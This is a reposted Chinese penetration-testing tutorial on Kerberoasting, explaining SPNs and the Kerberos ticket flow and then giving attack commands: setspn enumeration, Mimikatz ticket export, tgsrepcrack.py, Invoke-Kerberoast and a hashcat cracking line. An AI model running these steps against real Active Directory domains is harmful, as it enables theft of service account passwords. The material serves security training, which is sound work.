1. 首页
  2. 渗透测试

[转]Kerberoasting攻击

【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。

基本概念
SPN

全称 Service Principal Names

SPN是服务器上所运行服务的唯一标识,每个使用Kerberos的服务都需要一个SPN

SPN分为两种,一种注册在AD上机器帐户(Computers)下,另一种注册在域用户帐户(Users)下

当一个服务的权限为 Local System或Network Service,则SPN注册在机器帐户(Computers)下

当一个服务的权限为一个域用户,则SPN注册在域用户帐户(Users)下

SPN的格式:

serviceclass/host:port/servicename

[转]Kerberoasting攻击

tips:

1、serviceclass 可以理解为服务的名称,常见的有www、SMTP、DNS、exchange、HOST等

2、host有两种形式,FQDN和NetBIOS名,例如WIN-TL226LF48RT.corp.vk.local和WIN-TL226LF48RT

查询SPN
对域控制器发起LDAP查询,这是正常kerberos票据行为的一部分,因此查询SPN的操作难以被检测到

(1) 使用SetSPN

Windows下自带工具
setspn.exe -q /
查看test域内所有的SPN:


setspn.exe -T test -q /
Kerberos的原理:

[转]Kerberoasting攻击

在4.tgs_reply,用户将收到由目标服务实例的NTLM hash加密生成的TGS(Service ticket), 加密算法为RC4-HMAC

站在利用的角度,当获得这个TGS后,我们可以尝试穷举口令,模拟加密过程,生产TGS进行比较。如果TGS相同,就能获取到目标实例的明文口令。

2、Windows系统通过SPN查询获得服务和服务实例账户的对应关系
这里举一个例子:

用户a要访问Mysql服务的资源,进行4.tgs_reply时,步骤如下:

(1)Domain Controller查询MySQL服务的SPN

如果该SPN注册在机器帐户(Computers)下,将会查询所有机器帐户(Computers)的servicePrincipalName属性,找到对应的帐户

如果该SPN注册在域用户帐户(Users)下,将会查询所有域用户(Users)的servicePrincipalName属性,找到对应的帐户

(2)找到对应的帐户后,使用该帐户的NTLM hash,生成TGS

Kerberoasting的实现方法
综上,域内的任何一台主机,都能够通过查询SPN,向域内的所有服务请求TGS,拿到TGS后对其进行暴力破解

对于破解出的明文口令,只有域用户帐户(Users)的口令存在价值,不必考虑机器帐户的口令(无法用于远程连接)

具体思路为:
查询SPN -> 请求TGS -> 导出TGS -> 暴力破解
一、使用Mimikatz实现:

kerberos::list /export

[转]Kerberoasting攻击

破解:
https://github.com/nidem/kerberoast/blob/master/tgsrepcrack.py

python tgsrepcrack.py wordlist.txt 0-40e00000-Administrator@krbtgt~CORP.VK.LOCAL-CORP

二、使用Powershell实现
自动实现,并且不需要mimikatz,普通用户权限即可,参考资料:

使用System.IdentityModel.Tokens.KerberosRequestorSecurityToken请求TGS,在返回结果中提取出TGS,输出的TGS可选择John the Ripper或Hashcat进行破解

实例演示:

在域内一台主机上以普通用户权限执行:

Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | fl-AdminCount表示选择高权限的用户

输出结果如下图

[转]Kerberoasting攻击

只提取Hash:
Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | Select hash | ConvertTo-CSV -NoTypeInformation
使用hashcat破解的参数如下:

hashcat -m 13100 /tmp/hash.txt /tmp/password.list -o found.txt –force

原创文章,作者:mOon,如若转载,请注明出处:https://www.moonsec.com/576.html

联系我们

400-800-8888

在线咨询:点击这里给我发消息

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息